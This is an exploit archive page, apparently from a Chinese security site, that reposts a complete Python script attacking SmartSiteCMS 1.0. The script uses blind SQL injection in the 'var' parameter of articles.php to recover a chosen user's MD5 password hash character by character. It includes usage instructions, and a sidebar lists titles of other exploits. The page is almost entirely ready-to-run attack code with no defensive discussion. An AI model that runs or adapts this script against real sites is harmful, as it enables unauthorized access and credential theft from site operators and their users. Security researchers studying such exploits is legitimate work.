首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SmartSiteCMS 1.0 (articles.php var) Blind SQL Injection Exploit
来源:vfocus.net 作者:vfocus 发布时间:2009-02-02  
#!/usr/bin/python

import sys
import re
from socket import *

class exploit:
	def __init__(self,host,path,user):
		self.host=host
		self.path=path
		self.user=user
		self.reg=re.compile("<!-- END COMMENT FORM -->")
	def set_query(self,n,ch):
		self.query="' OR ASCII(SUBSTRING((SELECT password FROM users WHERE userName='"+self.user+"'),"+str(n)+",1)) = "+str(ord(ch))+" OR '1'='2"
		self.query = self.query.replace(" ","%20")
		self.query = self.query.replace("'","%27")
		self.request="GET "+self.path+"/articles.php?var="+self.query+" HTTP/1.0\r\nHost: "+self.host+"\r\n\n"
	def check(self):
		sock=socket(AF_INET, SOCK_STREAM)
		sock.connect((self.host, 80))
		sock.send(self.request)
		r=""
		t="-"
		while(t!=""):
			t=sock.recv(1024)
			r+=t
		match=self.reg.search(r)
		if(r[match.start()+27:match.start()+59]!="<!-- END OF RELATED ARTICLES -->"):
			return 1
		else:
			return 0
		sock.close()

print "////*****************************************\\\\\\\\"
print "||||           smartSiteCMS 1.0 v1.0         ||||"
print "||||            Blind SQL injection          ||||"
print "||||					     ||||"
print "|||| ~Author: certaindeath                   ||||"
print "|||| ~Greetz: darkjoker                      ||||"
print "\\\\\\\\*****************************************////\n"

if(len(sys.argv) !=4 ):
	print "Usage:	python xpl.py <host> <cms path> <user>"
	print "Example: python xpl.py localhost /cms admin"
	sys.exit(0)

pwd=""
xpl = exploit(sys.argv[1],sys.argv[2],sys.argv[3])
n=1
while(n<=32):
	t=0
	xpl.set_query(n,str(t))
	while (xpl.check()!=1):
		t+=1
		xpl.set_query(n,str(hex(t))[-1])
	pwd+=str(hex(t))[-1]
	n+=1
print "pass [md5]: ",pwd

# [2009-01-28]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Social Engine (category_id) SQ
·Amaya Web Editor XML and HTML
·Max.Blog <= 1.0.6 (offline_aut
·Google Chrome 1.0.154.43 Click
·Max.Blog <= 1.0.6 (submit_post
·Thomson mp3PRO Player/Encoder
·phplist 2.10.x (RCE by environ
·Personal Site Manager <= 0.3 R
·Lore 1.5.6 (article.php) Blind
·Amaya Web Editor <= 11.0 Remot
·Gazelle CMS (template) Local F
·Star Articles 6.0 (add/edit/de
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved